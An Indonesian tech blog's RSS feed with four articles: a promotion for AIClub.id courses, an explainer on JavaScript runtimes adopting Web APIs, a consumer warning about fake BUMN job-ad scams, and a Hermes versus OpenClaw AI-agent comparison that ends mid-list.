<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Mizan Tech]]></title><description><![CDATA[Berbagi ilmu dan informasi seputar dunia teknologi dan pemrograman terkini. Di sini, Anda dapat menemukan berbagai artikel, tutorial, dan berita terbaru tentang berbagai topik]]></description><link>https://tech.finlup.id</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1733452581515/dbf7bbe5-89e6-41e5-90e3-e8eeb65219b6.png</url><title>Mizan Tech</title><link>https://tech.finlup.id</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 09 Sep 2026 16:46:39 GMT</lastBuildDate><atom:link href="https://tech.finlup.id/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[AiClub.id - Stop Cuma Jadi User ChatGPT: Saatnya Bikin Aplikasi AI Sendiri Sebelum Lulus Sekolah & Kuliah!]]></title><description><![CDATA[Apakah kamu seorang siswa SMA yang sedang bersiap menembus PTN impian, atau mahasiswa yang pusing memikirkan portofolio kerja dan topik skripsi?
Di era di mana teknologi kecerdasan buatan (Artificial ]]></description><link>https://tech.finlup.id/aiclub-id-stop-cuma-jadi-user-chatgpt-saatnya-bikin-aplikasi-ai-sendiri-sebelum-lulus-sekolah-kuliah</link><guid isPermaLink="true">https://tech.finlup.id/aiclub-id-stop-cuma-jadi-user-chatgpt-saatnya-bikin-aplikasi-ai-sendiri-sebelum-lulus-sekolah-kuliah</guid><category><![CDATA[aiclub]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 19 Aug 2026 07:37:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/cf60f7dd-980a-4649-bafb-f888fba1116b.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Apakah kamu seorang siswa SMA yang sedang bersiap menembus PTN impian, atau mahasiswa yang pusing memikirkan portofolio kerja dan topik skripsi?</p>
<p>Di era di mana teknologi kecerdasan buatan (<em>Artificial Intelligence</em>) berkembang sangat cepat, menjadi pengakses biasa tidak lagi cukup. Menggunakan ChatGPT untuk sekadar merangkum teks atau mengerjakan tugas sekolah memang praktis, tetapi bayangkan jika ribuan siswa dan mahasiswa lain melakukan hal yang persis sama.</p>
<p>Lantas, <strong>apa yang membuat CV dan portofoliomu tampil menonjol (<em>stand out</em>) di mata penilai beasiswa maupun <em>recruiter</em> perusahaan?</strong></p>
<hr />
<h3>1. Mengapa Mengetik Prompt Cuma Langkah Awal?</h3>
<p>Dunia industri dan akademisi masa kini tidak lagi terpukau dengan orang yang sekadar bisa mengetik perintah (<em>prompt engineering</em> dasar). Mereka mencari individu yang paham:</p>
<ul>
<li><p><strong>Bagaimana logika AI bekerja</strong> di balik layar.</p>
</li>
<li><p><strong>Cara mengintegrasikan model AI</strong> ke dalam aplikasi nyata (Web, Mobile, atau PWA).</p>
</li>
<li><p><strong>Cara memecahkan masalah konkrit</strong> di masyarakat menggunakan data dan otomatisasi.</p>
</li>
</ul>
<hr />
<h3>2. Bagi Siswa SMA: Tiket Emas Menuju PTN &amp; Beasiswa Luar Negeri</h3>
<p>Persaingan jalur SNBP (Prestasi) maupun seleksi beasiswa internasional semakin ketat. Nilai rapor yang tinggi sudah menjadi standar umum. Lalu, apa daya tawar ekstra yang bisa kamu tunjukkan?</p>
<ul>
<li><p><strong>Portofolio Karya Nyata:</strong> Bayangkan melampirkan tautan aplikasi buatan sendiri—seperti <em>Detektor Penyakit Tanaman Berbasis Computer Vision</em> atau <em>Chatbot Pembelajaran Interaktif</em>—dalam berkas pendaftaranmu.</p>
</li>
<li><p><strong>Inovasi Lomba KTI &amp; OPSI:</strong> Gagasan inovatif berbasis AI memiliki nilai jual yang sangat tinggi dalam ajang Olimpiade Penelitian Siswa Indonesia (OPSI) maupun kompetisi sains remaja.</p>
</li>
<li><p><strong>Arah Karier yang Jelas:</strong> Menguasai logika pemrograman dan AI sejak SMA memberi kamu keunggulan adaptasi 10x lebih cepat saat memasuki jenjang perkuliahan.</p>
</li>
</ul>
<hr />
<h3>3. Bagi Mahasiswa: Solusi Skripsi &amp; Portofolio Kerja Industri</h3>
<p>Bagi kamu yang sedang menempuh bangku kuliah—baik jurusan IT maupun Non-IT—tantangan nyata seperti pencarian tempat magang, skripsi, hingga karir pertama sudah di depan mata.</p>
<blockquote>
<p><strong>Problem Utama Mahasiswa Saat Ini:</strong> Teori perkuliahan sering kali bergerak lebih lambat dibanding perkembangan industri teknologi. Tanpa pengalaman praktis membangun <em>Real-World AI Project</em>, CV milikmu berisiko tenggelam di antara ratusan pelamar lainnya.</p>
</blockquote>
<p>Di <strong>AIClub.id</strong>, mahasiswa dibimbing untuk memahami arsitektur AI modern, seperti integrasi <em>Large Language Models</em> (LLM), <em>Retrieval-Augmented Generation</em> (RAG), hingga pengembangan <em>fullstack web application</em> yang siap di-<em>deploy</em> secara publik.</p>
<hr />
<h3>4. Peta Jalan Pembelajaran Berbasis Proyek di AIClub.id</h3>
<p>AIClub.id mengusung metode <em>Learn by Doing</em>. Setiap peserta dipandu secara bertahap sesuai dengan tingkatan kemampuan masing-masing:</p>
<table>
<thead>
<tr>
<th>Tingkat / Target</th>
<th>Fokus Pembelajaran</th>
<th>Hasil / Output Portofolio</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Siswa SMA</strong> <em>(Pemula)</em></td>
<td>Dasar Pemrograman Python, Pengenalan Machine Learning, &amp; Logic Flow.</td>
<td>Aplikasi Web Prediksi Sederhana &amp; Custom AI Chatbot Terintegrasi.</td>
</tr>
<tr>
<td><strong>Mahasiswa</strong> <em>(Advanced)</em></td>
<td>Integrasi API LLM, Computer Vision, RAG Pipeline, &amp; Deployment Web/PWA.</td>
<td>Fullstack AI Web App Siap Pakai untuk Skripsi &amp; Portofolio LinkedIn/GitHub.</td>
</tr>
</tbody></table>
<hr />
<h3>Kesimpulan &amp; Call to Action (CTA)</h3>
<p>Kecerdasan buatan bukan ancaman bagi mereka yang mau belajar cara mengendalikannya. Dengan bimbingan mentor berpengalaman, kurikulum terstruktur, dan komunitas yang suportif, siapa saja—tanpa memandang latar belakang—bisa menjadi pencipta teknologi masa depan.</p>
<p><strong>Siap Mengubah Ide Menjadi Proyek AI Nyata?</strong></p>
<p>Bergabunglah dengan ratusan siswa dan mahasiswa lainnya di <a href="https://aiclub.id/gabung?ref=s00_01M08F602W4K86PDFGW90MRQH1"><strong>AIClub.id</strong></a>. Mulai langkah pertamamu dan bangun portofolio AI impianmu sekarang!</p>
<p>Link: <a href="https://aiclub.id/gabung?ref=s00%5C_01M08F602W4K86PDFGW90MRQH1">https://aiclub.id/gabung?ref=s00\_01M08F602W4K86PDFGW90MRQH1</a></p>
]]></content:encoded></item><item><title><![CDATA[Mengapa Runtime Modern Mengadopsi Web API Universal?]]></title><description><![CDATA[Pernahkah Anda mencoba memindahkan kode JavaScript yang berjalan mulus di browser ke server Node.js, lalu mendapati pesan error menyebalkan seperti fetch is not defined atau Buffer is not defined?
Jik]]></description><link>https://tech.finlup.id/mengapa-runtime-modern-mengadopsi-web-api-universal</link><guid isPermaLink="true">https://tech.finlup.id/mengapa-runtime-modern-mengadopsi-web-api-universal</guid><category><![CDATA[Node.js API]]></category><category><![CDATA[Web API]]></category><category><![CDATA[WinterCG]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Thu, 13 Aug 2026 00:32:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/a5cd0fcb-a6b3-4920-bdca-1778fc65fc40.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Pernahkah Anda mencoba memindahkan kode JavaScript yang berjalan mulus di browser ke server Node.js, lalu mendapati pesan error menyebalkan seperti <code>fetch is not defined</code> atau <code>Buffer is not defined</code>?</p>
<p>Jika ya, Anda tidak sendirian. Selama lebih dari satu dekade, ekosistem JavaScript terbelah menjadi dua dunia yang saling terisolasi: <strong>dunia Browser</strong> yang mematuhi standar W3C/WHATWG, dan <strong>dunia Server</strong> yang tunduk pada API privat Node.js.</p>
<p>Namun, diam-diam sebuah revolusi besar sedang terjadi di balik layar. Era fragmentasi itu resmi berakhir. Saat ini, <em>runtime</em> JavaScript modern—mulai dari Deno, Bun, Cloudflare Workers, Vercel Edge, hingga Node.js versi terbaru—berbondong-bondong mengadopsi satu standar universal: <strong>Web API</strong>.</p>
<p>Mengapa pergeseran ini terjadi, dan apa dampaknya bagi cara kita menulis kode di masa depan? Mari kita bedah.</p>
<hr />
<h2>Akar Masalah: Mengapa JavaScript Server Dulu "Berbeda"?</h2>
<p>Ketika Ryan Dahl pertama kali menciptakan Node.js pada tahun 2009, browser belum memiliki API yang cukup matang untuk menangani kebutuhan server seperti <em>network I/O</em>, <em>file system</em>, atau pengolahan data biner.</p>
<p>Akibatnya, Node.js membuat ekosistemnya sendiri:</p>
<ul>
<li><p>Menggunakan <code>http.request</code> alih-alih <code>fetch</code></p>
</li>
<li><p>Menggunakan <code>Buffer</code> alih-alih <code>Uint8Array</code> atau <code>ArrayBuffer</code></p>
</li>
<li><p>Menggunakan <code>stream.Readable</code> alih-alih <code>ReadableStream</code></p>
</li>
</ul>
<p>Pendekatan ini berhasil membawa JavaScript ke server, tetapi membayar harga yang mahal: <strong>Fragmentasi Kode</strong>. Pengembang terpaksa mempelajari dua sintaks berbeda untuk satu bahasa yang sama, dan <em>framework</em> butuh puluhan <em>polyfill</em> atau adaptor rumit hanya untuk menjembatani kedua dunia ini.</p>
<hr />
<h2>Lahirnya WinterCG: Konsorsium yang Mengubah Peta Ekosistem</h2>
<p>Melihat fragmentasi yang semakin parah dengan kemunculan <em>runtime</em> serverless dan <em>edge computing</em>, para pengembang utama dari Node.js, Deno, Cloudflare, dan Vercel duduk bersama pada tahun 2022. Mereka membentuk <strong>WinterCG</strong> (<em>Web-interoperable Runtimes Community Group</em>) di bawah naungan W3C.</p>
<p>Misi mereka sederhana namun sangat ambisius: <strong>Menjadikan Web API standar resmi untuk semua runtime JavaScript non-browser.</strong></p>
<p>Artinya, daripada setiap <em>runtime</em> membuat cara baru untuk memproses HTTP request atau manipulasi data, mereka sepakat untuk mengadopsi API standar browser yang sudah dipelajari oleh jutaan pengembang di seluruh dunia.</p>
<hr />
<h2>Apa Saja Web API yang Kini Menjadi Standar Universal?</h2>
<p>Jika Anda menulis kode JavaScript modern saat ini, Anda mungkin sudah menggunakan Web API tanpa menyadarinya. Beberapa API utama yang wajib didukung oleh <em>runtime</em> berbasis WinterCG meliputi:</p>
<ol>
<li><p><strong>Fetch API (</strong><code>fetch</code><strong>,</strong> <code>Request</code><strong>,</strong> <code>Response</code><strong>,</strong> <code>Headers</code><strong>)</strong> Menggantikan modul HTTP kustom. Objek <code>Request</code> dan <code>Response</code> kini menjadi fondasi utama dalam <em>framework</em> web modern.</p>
</li>
<li><p><strong>Streams API (</strong><code>ReadableStream</code><strong>,</strong> <code>WritableStream</code><strong>)</strong> Memungkinkan pengiriman data secara bertahap (<em>streaming</em>) dengan performa tinggi, sangat krusial untuk teknik <em>Server-Side Rendering</em> (SSR) modern.</p>
</li>
<li><p><strong>Web Crypto API (</strong><code>crypto.subtle</code><strong>,</strong> <code>crypto.getRandomValues()</code><strong>)</strong> Standar keamanan dan enkripsi bawaan yang bekerja secara konsisten tanpa modul tambahan seperti <code>require('crypto')</code>.</p>
</li>
<li><p><strong>URL &amp; URLSearchParams (</strong><code>new URL()</code><strong>)</strong> Pengolahan URL yang seragam di seluruh <em>stack</em> aplikasi.</p>
</li>
<li><p><strong>TextEncoder &amp; TextDecoder</strong> Pengolahan teks dan manipulasi data biner universal tanpa ketergantungan pada objek <code>Buffer</code> khas Node.js.</p>
</li>
</ol>
<hr />
<h2>Mengapa Tren Ini Adalah Kemenangan Besar bagi Developer?</h2>
<p>Pergeseran ke Web API bukan sekadar tren akademis, melainkan lompatan besar dalam efisiensi pengembangan perangkat lunak:</p>
<h3>1. Write Once, Run Anywhere (Benar-Benar Terwujud)</h3>
<p>Kode yang Anda tulis untuk menangani permintaan HTTP atau manipulasi teks kini dapat berjalan <strong>100% identik</strong> di browser, server Node.js, Bun, Deno, hingga <em>edge network</em> Cloudflare Workers tanpa perlu mengubah satu baris pun.</p>
<h3>2. Lahirnya Framework Ultra-Cepat dan Fleksibel</h3>
<p><em>Framework</em> modern seperti <strong>Hono</strong>, <strong>Astro</strong>, atau <strong>Remix</strong> dirancang dari awal menggunakan standar Web API. Hasilnya? <em>Framework</em> ini sangat ringan, memiliki ukuran dependensi yang minim, dan dapat di-deploy ke platform mana pun (<em>multi-runtime</em>) secara <em>native</em>.</p>
<h3>3. Kurva Pembelajaran yang Lebih Landai</h3>
<p>Developer pemula tidak perlu lagi membingungkan diri dengan perbedaan antara "JavaScript browser" dan "JavaScript server". Kuasai standar Web API, dan Anda bisa membuat aplikasi di lingkungan apa pun.</p>
<hr />
<h2>Kesimpulan</h2>
<p>Masa depan ekosistem JavaScript tidak lagi milik <em>runtime</em> dengan API tertutup atau eksklusif. <strong>Web API universal adalah standar baru</strong> yang menyatukan seluruh platform pengembangan web.</p>
<p>Bagi Anda para developer, ini adalah saat terbaik untuk mulai membiasakan diri menggunakan API standar seperti <code>fetch</code>, <code>Response</code>, <code>ReadableStream</code>, dan <code>Web Crypto</code> dalam proyek-proyek Anda. Dengan mematuhi standar ini, kode yang Anda tulis hari ini dijamin siap menghadapi perkembangan teknologi JavaScript di masa depan.</p>
]]></content:encoded></item><item><title><![CDATA[Waspada Scam Loker BUMN Palsu: Pahami Modus "Daftar Lewat Link Abal-Abal" yang Marak di Media Sosial]]></title><description><![CDATA[Mencari pekerjaan di era digital kini menuntut kewaspadaan ekstra. Di tengah tingginya kebutuhan masyarakat akan peluang karir yang stabil, para pelaku kejahatan siber makin lihai memanfaatkan nama be]]></description><link>https://tech.finlup.id/waspada-scam-loker-bumn-palsu-pahami-modus-daftar-lewat-link-abal-abal-yang-marak-di-media-sosial</link><guid isPermaLink="true">https://tech.finlup.id/waspada-scam-loker-bumn-palsu-pahami-modus-daftar-lewat-link-abal-abal-yang-marak-di-media-sosial</guid><category><![CDATA[Scam]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[loker]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 12 Aug 2026 09:05:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/7938ad79-3011-4d5c-8a2d-7d1d5958a41e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mencari pekerjaan di era digital kini menuntut kewaspadaan ekstra. Di tengah tingginya kebutuhan masyarakat akan peluang karir yang stabil, para pelaku kejahatan siber makin lihai memanfaatkan nama besar perusahaan ternama—termasuk BUMN seperti PT Pegadaian—untuk melancarkan aksi penipuan (<em>job scam</em>).</p>
<img src="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/ce7f1e42-40b9-44f5-8129-71db5c75cd20.jpg" alt="" style="display:block;margin:0 auto" />

<p>Baru-baru ini, beredar poster lowongan kerja visual yang sekilas terlihat sangat profesional dan meyakinkan. Poster tersebut mencantumkan logo BUMN, iming-imining gaji menarik (Rp 4 Juta hingga Rp 7,5 Juta+), serta jaminan penempatan sesuai domisili. Namun, di balik tampilan yang terkonsep rapi tersebut, tersimpan perangkap penipuan yang siap merugikan para pencari kerja.</p>
<hr />
<h2>Membedah Ciri-Ciri Loker Palsu pada Poster</h2>
<p>Jika diperhatikan secara cermat, terdapat sejumlah <em>red flags</em> atau tanda bahaya utama dari poster lowongan kerja palsu tersebut:</p>
<ol>
<li><p><strong>Penggunaan Domain TLD Tidak Resmi (</strong><code>.click</code><strong>,</strong> <code>.site</code><strong>,</strong> <code>.xyz</code><strong>)</strong> Pada bagian <em>"Cara Melamar"</em>, pendaftaran diarahkan ke tautan seperti <code>daftarsekarangloker.obnew.click</code>. Perusahaan BUMN atau korporasi besar <strong>tidak pernah</strong> menggunakan domain gratisan atau TLD (<em>Top Level Domain</em>) tidak resmi. Situs rekrutmen resmi BUMN selalu menggunakan domain utama perusahaan (seperti <code>.co.id</code> atau portal resmi FHCI BUMN).</p>
</li>
<li><p><strong>Pengunggah Bukan Akun Resmi Perusahaan</strong> Poster diunggah oleh akun-akun media sosial pihak ketiga (bukan akun terverifikasi centang biru milik perusahaan). Modus ini sengaja memanfaatkan fitur rekomendasi (seperti Instagram Reels atau TikTok) untuk menjangkau korban sebanyak-banyaknya.</p>
</li>
<li><p><strong>QR Code Mengarah ke Formulir Phishing</strong> QR Code yang dicantumkan umumnya akan mengarahkan pencari kerja ke formulir tidak resmi untuk mencuri data pribadi atau langsung menyambungkan ke nomor WhatsApp penipu.</p>
</li>
<li><p><strong>Iming-Iming Syarat Mudah dengan Gaji Tinggi</strong> Kualifikasi yang diminta sangat umum (cukup lulusan SMA/SMK), namun menjanjikan fasilitas serta rentang gaji yang sangat mencolok guna memancing emosi pencari kerja agar terburu-buru mendaftar tanpa berpikir kritis.</p>
</li>
</ol>
<hr />
<h2>Bagaimana Modus Penipuan Ini Bekerja?</h2>
<p>Penipu biasanya menjalankan aksinya melalui beberapa skenario berikut setelah korban mengisi formulir pendaftaran:</p>
<ul>
<li><p><strong>Pencurian Data Pribadi (Phishing)</strong> Data sensitif seperti foto KTP, NIK, alamat lengkap, hingga nama ibu kandung yang diisi pada form palsu dapat diperjualbelikan di pasar gelap atau disalahgunakan untuk pendaftaran Pinjaman Online (Pinjol) ilegal atas nama korban.</p>
</li>
<li><p><strong>Modus 'Travel &amp; Akomodasi Wajib' (Paling Sering Terjadi)</strong> Korban akan menerima surat panggilan tes/wawancara palsu yang dibuat sangat mirip dengan dokumen resmi perusahaan. Korban diminta berangkat ke lokasi tes di luar kota dan <strong>diwajibkan mengontak agen travel tertentu</strong> yang ditunjuk penipu. Penipu berjanji uang tiket akan diganti (<em>reimburse</em>) saat tes selesai. Begitu uang ditransfer, penipu menghilang dan memblokir kontak korban.</p>
</li>
<li><p><strong>Modus 'Job Task' &amp; Deposit Uang</strong> Beberapa penipu mengarahkan korban ke grup Telegram/WhatsApp untuk menjalankan tugas-tugas sederhana (seperti <em>like/review</em>). Di awal, korban diberi komisi kecil. Namun selanjutnya, korban diminta mentransfer deposit uang bernilai besar untuk membuka level tugas baru—yang pada akhirnya uang tersebut tidak bisa ditarik kembali.</p>
</li>
</ul>
<hr />
<h2>Panduan Aman Menghindari Penipuan Lowongan Kerja</h2>
<p>Agar tidak menjadi korban berikutnya, selalu terapkan prinsip-prinsip keselamatan dalam mencari kerja:</p>
<ul>
<li><p><strong>Cek Alamat URL / Domain Website</strong> Pastikan tautan pendaftaran berakhiran dengan domain resmi instansi/perusahaan, seperti <code>.co.id</code> atau <code>.id</code>. Jangan pernah mengklik tautan berakhiran <code>.click</code>, <code>.site</code>, <code>.info</code>, atau link pendek (<em>shortened link</em>) yang mencurigakan.</p>
</li>
<li><p><strong>Prinsip Utama: Rekrutmen Resmi Bebas Biaya</strong> Proses rekrutmen perusahaan resmi maupun BUMN <strong>TIDAK PERNAH memungut biaya sepeser pun</strong>—baik untuk pendaftaran, seragam, tes, maupun pemesanan tiket travel/hotel.</p>
</li>
<li><p><strong>Verifikasi Lewat Kanal Resmi</strong> Selalu konfirmasi ulang informasi lowongan kerja melalui situs web atau akun media sosial resmi perusahaan yang sudah memiliki centang biru (<em>verified</em>).</p>
</li>
<li><p><strong>Laporkan Akun Penipu</strong> Jika menemukan unggahan poster loker yang terindikasi scam, segera gunakan fitur <em>Report/Laporkan</em> pada platform media sosial terkait untuk mencegah jatuhnya korban lain.</p>
</li>
</ul>
<p>Kebutuhan akan pekerjaan memang mendesak, tetapi ketelitian dan kewaspadaan tetap menjadi benteng utama agar tidak menjadi korban kejahatan siber yang memanfaatkan penderitaan para pencari kerja.</p>
]]></content:encoded></item><item><title><![CDATA[Hermes vs OpenClaw (2026): Mana yang Lebih Baik untuk Developer?]]></title><description><![CDATA[Ringkasan: Jika OpenClaw adalah AI Operating System yang menghubungkan berbagai layanan dan agent, maka Hermes adalah AI Worker yang fokus mengerjakan pekerjaan, belajar dari pengalaman, dan semakin p]]></description><link>https://tech.finlup.id/hermes-vs-openclaw-2026-mana-yang-lebih-baik-untuk-developer</link><guid isPermaLink="true">https://tech.finlup.id/hermes-vs-openclaw-2026-mana-yang-lebih-baik-untuk-developer</guid><category><![CDATA[Hermes]]></category><category><![CDATA[openclaw]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 29 Jul 2026 04:31:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/7f1cdc3b-5bb4-493b-a0af-23eccbf911d3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Ringkasan:</strong> Jika OpenClaw adalah <strong>AI Operating System</strong> yang menghubungkan berbagai layanan dan agent, maka Hermes adalah <strong>AI Worker</strong> yang fokus mengerjakan pekerjaan, belajar dari pengalaman, dan semakin pintar seiring waktu. Keduanya bukan pesaing mutlak—justru saling melengkapi. (<a href="https://hundredtabs.com/blog/hermes-agent-vs-openclaw?utm_source=chatgpt.com">Hundred Tabs</a>)</p>
</blockquote>
<hr />
<p>Tahun 2026 menjadi awal era <strong>AI Agent</strong>. Jika sebelumnya AI hanya menjawab pertanyaan, kini AI dapat:</p>
<ul>
<li><p>mengelola project,</p>
</li>
<li><p>menulis kode,</p>
</li>
<li><p>menjalankan terminal,</p>
</li>
<li><p>mengirim email,</p>
</li>
<li><p>membuat laporan,</p>
</li>
<li><p>bahkan bekerja secara mandiri.</p>
</li>
</ul>
<p>Dua nama yang paling sering dibandingkan adalah <strong>Hermes Agent</strong> dan <strong>OpenClaw</strong>.</p>
<p>Banyak developer bertanya:</p>
<blockquote>
<p>"Lebih baik pakai Hermes atau OpenClaw?"</p>
</blockquote>
<p>Jawabannya ternyata tidak sesederhana memilih salah satu.</p>
<hr />
<h1>Mengenal OpenClaw</h1>
<p>OpenClaw adalah platform AI Agent open-source yang berfungsi sebagai <strong>pusat kendali (orchestrator)</strong>.</p>
<p>Ia menghubungkan:</p>
<ul>
<li><p>WhatsApp</p>
</li>
<li><p>Telegram</p>
</li>
<li><p>Discord</p>
</li>
<li><p>Slack</p>
</li>
<li><p>GitHub</p>
</li>
<li><p>Browser</p>
</li>
<li><p>Terminal</p>
</li>
<li><p>Calendar</p>
</li>
<li><p>Email</p>
</li>
<li><p>hingga ribuan plugin lainnya.</p>
</li>
</ul>
<p>OpenClaw dibuat agar AI dapat hadir di seluruh workflow pengguna.</p>
<p>Secara sederhana:</p>
<blockquote>
<p><strong>OpenClaw adalah sekretaris digital yang mengatur semua pekerjaan.</strong></p>
</blockquote>
<p>Keunggulan utama OpenClaw:</p>
<ul>
<li><p>ekosistem plugin sangat besar,</p>
</li>
<li><p>integrasi lintas platform,</p>
</li>
<li><p>routing antar AI model,</p>
</li>
<li><p>komunitas sangat besar,</p>
</li>
<li><p>banyak dokumentasi.</p>
</li>
</ul>
<p>Namun konsekuensinya:</p>
<ul>
<li><p>konfigurasi lebih kompleks,</p>
</li>
<li><p>update sering berubah,</p>
</li>
<li><p>semakin banyak plugin berarti semakin banyak kemungkinan konflik. (<a href="https://get-hermes.ai/compare/openclaw.html?utm_source=chatgpt.com">Hermes</a>)</p>
</li>
</ul>
<hr />
<h1>Mengenal Hermes</h1>
<p>Hermes memiliki filosofi yang berbeda.</p>
<p>Hermes tidak ingin menjadi "platform".</p>
<p>Hermes ingin menjadi <strong>pekerja yang terus belajar.</strong></p>
<p>Setiap kali menyelesaikan tugas, Hermes dapat:</p>
<ul>
<li><p>mengevaluasi hasil,</p>
</li>
<li><p>menemukan pola,</p>
</li>
<li><p>membuat skill baru,</p>
</li>
<li><p>menyimpan pengalaman,</p>
</li>
<li><p>menggunakan pengalaman tersebut pada pekerjaan berikutnya.</p>
</li>
</ul>
<p>Artinya, semakin sering digunakan, semakin efisien Hermes bekerja. Inilah yang menjadi pembeda paling mencolok dibanding banyak agent lain. (<a href="https://get-hermes.ai/compare/openclaw.html?utm_source=chatgpt.com">Hermes</a>)</p>
<hr />
<h1>Perbedaan Filosofi</h1>
<table>
<thead>
<tr>
<th>OpenClaw</th>
<th>Hermes</th>
</tr>
</thead>
<tbody><tr>
<td>Menghubungkan semuanya</td>
<td>Menyelesaikan pekerjaan</td>
</tr>
<tr>
<td>Platform</td>
<td>Worker</td>
</tr>
<tr>
<td>Banyak integrasi</td>
<td>Banyak pembelajaran</td>
</tr>
<tr>
<td>Skill dibuat developer</td>
<td>Skill dapat dibuat otomatis</td>
</tr>
<tr>
<td>Fokus orchestration</td>
<td>Fokus execution</td>
</tr>
</tbody></table>
<hr />
<h1>Arsitektur</h1>
<h2>OpenClaw</h2>
<p>OpenClaw memiliki banyak komponen:</p>
<pre><code class="language-plaintext">WhatsApp
Telegram
Discord
Slack
      │
 Gateway
      │
 Routing
      │
 Skills
      │
 AI Model
      │
 Tool
</code></pre>
<p>Semua pesan masuk melalui gateway.</p>
<p>Gateway menentukan:</p>
<ul>
<li><p>model apa yang dipakai,</p>
</li>
<li><p>tool mana yang dijalankan,</p>
</li>
<li><p>skill apa yang dipanggil.</p>
</li>
</ul>
<p>Sangat fleksibel.</p>
<hr />
<h2>Hermes</h2>
<p>Hermes jauh lebih sederhana.</p>
<pre><code class="language-plaintext">Task
   │
Reasoning
   │
Tool
   │
Observe
   │
Learn
   │
Create Skill
</code></pre>
<p>Setelah tugas selesai, Hermes belajar.</p>
<p>Inilah fitur yang membuat banyak developer tertarik.</p>
<hr />
<h1>Bahasa Pemrograman</h1>
<p>OpenClaw:</p>
<ul>
<li><p>TypeScript</p>
</li>
<li><p>Node.js</p>
</li>
<li><p>Bun</p>
</li>
</ul>
<p>Sangat cocok bagi developer JavaScript.</p>
<p>Hermes:</p>
<ul>
<li>Python</li>
</ul>
<p>Sangat cocok untuk:</p>
<ul>
<li><p>Machine Learning</p>
</li>
<li><p>AI Research</p>
</li>
<li><p>Data Science</p>
</li>
</ul>
<p>Karena Python memiliki ekosistem AI yang sangat matang. (<a href="https://get-hermes.ai/compare/openclaw.html?utm_source=chatgpt.com">Hermes</a>)</p>
<hr />
<h1>Mana Lebih Cepat?</h1>
<p>Untuk tugas pertama:</p>
<p>OpenClaw sering terasa lebih cepat.</p>
<p>Karena:</p>
<ul>
<li><p>skill sudah tersedia,</p>
</li>
<li><p>plugin sudah banyak.</p>
</li>
</ul>
<p>Sedangkan Hermes mungkin perlu belajar terlebih dahulu.</p>
<p>Namun setelah pekerjaan dilakukan berkali-kali, Hermes dapat menjadi lebih efisien karena menggunakan pengalaman yang telah dikumpulkannya. (<a href="https://hundredtabs.com/blog/hermes-agent-vs-openclaw?utm_source=chatgpt.com">Hundred Tabs</a>)</p>
<hr />
<h1>Coding Assistant</h1>
<p>Jika pekerjaan Anda adalah:</p>
<ul>
<li><p>Laravel</p>
</li>
<li><p>Next.js</p>
</li>
<li><p>React</p>
</li>
<li><p>Bun</p>
</li>
<li><p>Express</p>
</li>
<li><p>Hono</p>
</li>
</ul>
<p>Hermes sangat menarik karena mampu membangun konteks pekerjaan dan menyempurnakan workflow dari pengalaman sebelumnya.</p>
<p>Namun jika project membutuhkan:</p>
<ul>
<li><p>GitHub</p>
</li>
<li><p>Discord</p>
</li>
<li><p>Slack</p>
</li>
<li><p>Telegram</p>
</li>
<li><p>Email</p>
</li>
<li><p>Browser</p>
</li>
<li><p>Automation</p>
</li>
</ul>
<p>OpenClaw menawarkan integrasi yang lebih luas. (<a href="https://www.hostinger.com/tutorials/hermes-agent-vs-openclaw/?utm_source=chatgpt.com">Hostinger</a>)</p>
<hr />
<h1>Skalabilitas</h1>
<p>OpenClaw unggul untuk:</p>
<ul>
<li><p>tim,</p>
</li>
<li><p>organisasi,</p>
</li>
<li><p>banyak channel komunikasi,</p>
</li>
<li><p>workflow lintas aplikasi.</p>
</li>
</ul>
<p>Hermes unggul untuk:</p>
<ul>
<li><p>developer individu,</p>
</li>
<li><p>engineer,</p>
</li>
<li><p>researcher,</p>
</li>
<li><p>pekerjaan berulang yang ingin terus dioptimalkan.</p>
</li>
</ul>
<hr />
<h1>Kelebihan Hermes</h1>
<p>✅ Self-learning</p>
<p>✅ Auto skill generation</p>
<p>✅ Memory lebih terstruktur</p>
<p>✅ Arsitektur sederhana</p>
<p>✅ Python ecosystem</p>
<p>✅ Mudah dikembangkan untuk AI</p>
<hr />
<h1>Kekurangan Hermes</h1>
<p>❌ Integrasi belum sebanyak OpenClaw</p>
<p>❌ Komunitas lebih kecil</p>
<p>❌ Ekosistem plugin masih berkembang</p>
<p>❌ Beberapa pengguna melaporkan penggunaan token lebih tinggi atau penurunan kualitas pada konteks yang sangat panjang, meskipun pengalaman ini bervariasi. (<a href="https://www.reddit.com/r/hermesagent/comments/1ujucjo/hermes_vs_openclaw_a_full_day_sidebyside_test/?utm_source=chatgpt.com">Reddit</a>)</p>
<hr />
<h1>Kelebihan OpenClaw</h1>
<p>✅ Plugin sangat banyak</p>
<p>✅ Multi-channel</p>
<p>✅ Browser automation</p>
<p>✅ Komunitas besar</p>
<p>✅ Dokumentasi lengkap</p>
<p>✅ Siap digunakan</p>
<hr />
<h1>Kekurangan OpenClaw</h1>
<p>❌ Konfigurasi lebih rumit</p>
<p>❌ Update cepat dapat memerlukan penyesuaian konfigurasi</p>
